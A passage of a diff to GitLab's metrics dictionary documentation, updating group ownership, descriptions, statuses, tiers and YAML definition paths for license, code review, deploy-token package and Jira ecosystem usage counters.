definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124845_license_starts_at.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7252,7 +7252,7 @@ Licese zuora_subscription_id [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124852_license_subscription_id.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7262,9 +7262,9 @@ Tiers: `premium`, `ultimate` Whether this is a trial license or not -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210204124851_license_trial.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124851_license_trial.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7272,23 +7272,23 @@ Tiers: `premium`, `ultimate` ### `license_trial_ends_on` -Date the license ends on +Date the trial license ends on -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124926_license_trial_ends_on.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124926_license_trial_ends_on.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `license_user_count` -The number of users included in the license +The number of seats included in the license [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124843_license_user_count.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7300,7 +7300,7 @@ Company on the GitLab license [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124841_company.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7312,7 +7312,7 @@ Email on the GitLab license [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124839_email.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7324,7 +7324,7 @@ Name on the GitLab license [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124837_name.yml) -Group: `group::product intelligence` +Group: `group::license` Status: `data_available` @@ -7348,11 +7348,11 @@ Whether Mattermost is enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124908_mattermost_enabled.yml) -Group: `group::product intelligence` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `object_store.artifacts.enabled` @@ -7676,7 +7676,7 @@ Group: `group::product intelligence` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `prometheus_metrics_enabled` @@ -7688,7 +7688,7 @@ Group: `group::product intelligence` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `recorded_at` @@ -7724,7 +7724,7 @@ Group: `group::product intelligence` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.analytics.analytics_total_unique_counts_monthly` @@ -7926,7 +7926,7 @@ Counts visits to DevOps Adoption page per month Group: `group::optimize` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -7938,7 +7938,7 @@ Counts visits to DevOps Adoption page per week Group: `group::optimize` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -8166,7 +8166,7 @@ Counts visits to DevOps Adoption page per month Group: `group::optimize` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -8178,7 +8178,7 @@ Counts visits to DevOps Adoption page per week Group: `group::optimize` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -8208,27 +8208,27 @@ Tiers: ### `redis_hll_counters.ci_templates.ci_templates_total_unique_counts_monthly` -Missing description +Total count of pipelines runs [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml) -Group: `` +Group: `group::configure` -Status: `data_available` +Status: `broken` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ci_templates.ci_templates_total_unique_counts_weekly` -Missing description +Total count of pipelines runs -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml) -Group: `` +Group: `group::configure` -Status: `data_available` +Status: `broken` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ci_templates.p_ci_templates_5_min_production_app_monthly` @@ -8614,6 +8614,30 @@ Status: `data_available` Tiers: `free`, `premium`, `ultimate` +### `redis_hll_counters.code_review.i_code_review_click_diff_view_setting_monthly` + +Count of users clicking diff view setting + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml) + +Group: `group::code review` + +Status: `data_available` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.code_review.i_code_review_click_diff_view_setting_weekly` + +Count of users clicking diff view setting + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml) + +Group: `group::code review` + +Status: `data_available` + +Tiers: `free`, `premium`, `ultimate` + ### `redis_hll_counters.code_review.i_code_review_click_file_browser_setting_monthly` Count of users clicking merge request file browser setting @@ -8622,7 +8646,7 @@ Count of users clicking merge request file browser setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8634,7 +8658,7 @@ Count of users with merge request file list setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8646,7 +8670,7 @@ Count of users clicking single file mode setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8658,7 +8682,7 @@ Count of users clicking single file mode setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8670,7 +8694,7 @@ Count of users clicking merge request whitespae setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8682,7 +8706,7 @@ Count of users clicking merge request whitespae setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8694,7 +8718,7 @@ Count of users with show whitespace disabled Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8706,7 +8730,7 @@ Count of users with show whitespace disabled Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8718,7 +8742,7 @@ Count of users with single mode disabled Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8730,7 +8754,7 @@ Count of users with single mode disabled Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8742,7 +8766,7 @@ Count of users with show whitespace enabled Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8754,7 +8778,7 @@ Count of users with show whitespace enabled Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8766,7 +8790,7 @@ Count of users with single file mode enabled Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8778,7 +8802,7 @@ Count of users with single file mode enabled Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8790,7 +8814,7 @@ Count of users with merge request view type as inline Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8802,7 +8826,7 @@ Count of users with merge request view type as inline Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8814,7 +8838,7 @@ Count of users with merge request view type as parallel Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8826,7 +8850,7 @@ Count of users with merge request view type as parallel Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8886,7 +8910,7 @@ Count of users with merge request file list setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8898,7 +8922,7 @@ Count of users with merge request file list setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8910,7 +8934,7 @@ Count of users with merge request file tree setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8922,7 +8946,7 @@ Count of users with merge request file tree setting Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9382,6 +9406,30 @@ Status: `data_available` Tiers: `free`, `premium`, `ultimate` +### `redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_monthly` + +Count of unique users per week who load the conflict resolution page + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml) + +Group: `group::code review` + +Status: `data_available` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_weekly` + +Count of unique users per week who load the conflict resolution page + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml) + +Group: `group::code review` + +Status: `data_available` + +Tiers: `free`, `premium`, `ultimate` + ### `redis_hll_counters.code_review.i_code_review_user_marked_as_draft_monthly` Count of unique users per month who mark a merge request as a draft @@ -9598,6 +9646,30 @@ Status: `data_available` Tiers: `free`, `premium`, `ultimate` +### `redis_hll_counters.code_review.i_code_review_user_resolve_conflict_monthly` + +Count of unique users per week who attempt to resolve a conflict through the ui + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml) + +Group: `group::code review` + +Status: `data_available` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.code_review.i_code_review_user_resolve_conflict_weekly` + +Count of unique users per week who attempt to resolve a conflict through the ui + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml) + +Group: `group::code review` + +Status: `data_available` + +Tiers: `free`, `premium`, `ultimate` + ### `redis_hll_counters.code_review.i_code_review_user_resolve_thread_monthly` Count of unique users per month who resolve a thread in a merge request @@ -10008,271 +10080,295 @@ Tiers: ### `redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_monthly` -Missing description +A monthly count of packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_weekly` -Missing description +A weekly count of packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_monthly` -Missing description +A monthly count of Composer packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_weekly` -Missing description +A weekly count of Composer packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_monthly` -Missing description +A monthly count of Conan packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_weekly` -Missing description +A weekly count of Conan packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_monthly` -Missing description +A monthly count of container images published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_weekly` -Missing description +A weekly count of container images published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_monthly` -Missing description +A monthly count of Debian packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_weekly` -Missing description +A weekly count of Debian packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_monthly` -Missing description +A monthly count of generic packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `broken` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_weekly` -Missing description +A weekly count of generic packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_monthly` -Missing description +A monthly count of Go modules published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_weekly` -Missing description +A weekly count of Go modules published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_monthly` + +Distinct Helm pakages deployed in recent 28 days + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml) + +Group: `group::package` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_weekly` + +Distinct Helm pakages deployed in recent 7 days + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml) + +Group: `group::package` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_monthly` -Missing description +A monthly count of Maven packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_weekly` -Missing description +A weekly count of Maven packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_monthly` -Missing description +A monthly count of npm packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_weekly` -Missing description +A weekly count of npm packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_monthly` -Missing description +A monthly count of NuGet packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_weekly` -Missing description +A weekly count of NuGet packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_monthly` -Missing description +A monthly count of PyPI packages published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_weekly` -Missing description +A weekly count of Python packages published to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_monthly` -Distinct user count events for RubyGems packages in recent 28 days +Distinct count events for RubyGems packages published using a Deploy token in recent 28 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml) @@ -10284,7 +10380,7 @@ Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_weekly` -Distinct RubyGems pakages deployed in recent 7 days +A weekly count of distinct RubyGems packages published using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml) @@ -10296,27 +10392,27 @@ Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_monthly` -Missing description +A monthly count of package tags published to the registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_weekly` -Missing description +A weekly count of users that have published a package tag to the registry using a deploy token -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.deploy_token_packages.i_package_terraform_module_deploy_token_monthly` @@ -10326,7 +10422,7 @@ Number of distinct users authorized via deploy token creating Terraform Module p Group: `group::configure` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -10338,129 +10434,129 @@ Number of distinct users authorized via deploy token creating Terraform Module p Group: `group::configure` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ecosystem.ecosystem_total_unique_counts_monthly` -Missing description +Number of users performing actions on Jira issues by month [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ecosystem.ecosystem_total_unique_counts_weekly` -Missing description +Number of users performing actions on Jira issues by week -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_monthly` -Missing description +Number of users closing Jira issues by month [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_weekly` -Missing description +Number of users closing Jira issues by week -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_create_issue_monthly` -Missing description +Number of users creating Jira issues by month -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_create_issue_weekly` -Missing description +Number of users creating Jira issues by week [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184951_i_ecosystem_jira_service_create_issue_weekly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_monthly` -Missing description +Number of users that cross-referenced Jira issues by month [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_weekly` -Missing description +Number of users that cross-referenced Jira issues by week -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_list_issues_monthly` -Missing description +Count of Jira Issue List visits by month -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_list_issues_weekly` -Missing description +Count of Jira Issue List visits by week [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184947_i_ecosystem_jira_service_list_issues_weekly.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_issue_notification_monthly` @@ -10678,6 +10774,30 @@ Status: `data_available` Tiers: `free`, `premium`, `ultimate` +### `redis_hll_counters.epic_boards_usage.epic_boards_usage_total_unique_counts_monthly` + +Missing description + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210507171840_epic_boards_usage_total_unique_counts_monthly.yml) + +Group: `` + +Status: `data_available` + +Tiers: `ultimate` + +### `redis_hll_counters.epic_boards_usage.epic_boards_usage_total_unique_counts_weekly` + +Missing description + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210507171838_epic_boards_usage_total_unique_counts_weekly.yml) + +Group: `` + +Status: `data_available` + +Tiers: `ultimate` + ### `redis_hll_counters.epic_boards_usage.g_project_management_users_creating_epic_boards_monthly` Count of MAU creating epic boards @@ -10686,7 +10806,7 @@ Count of MAU creating epic boards Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -10698,7 +10818,7 @@ Count of WAU creating 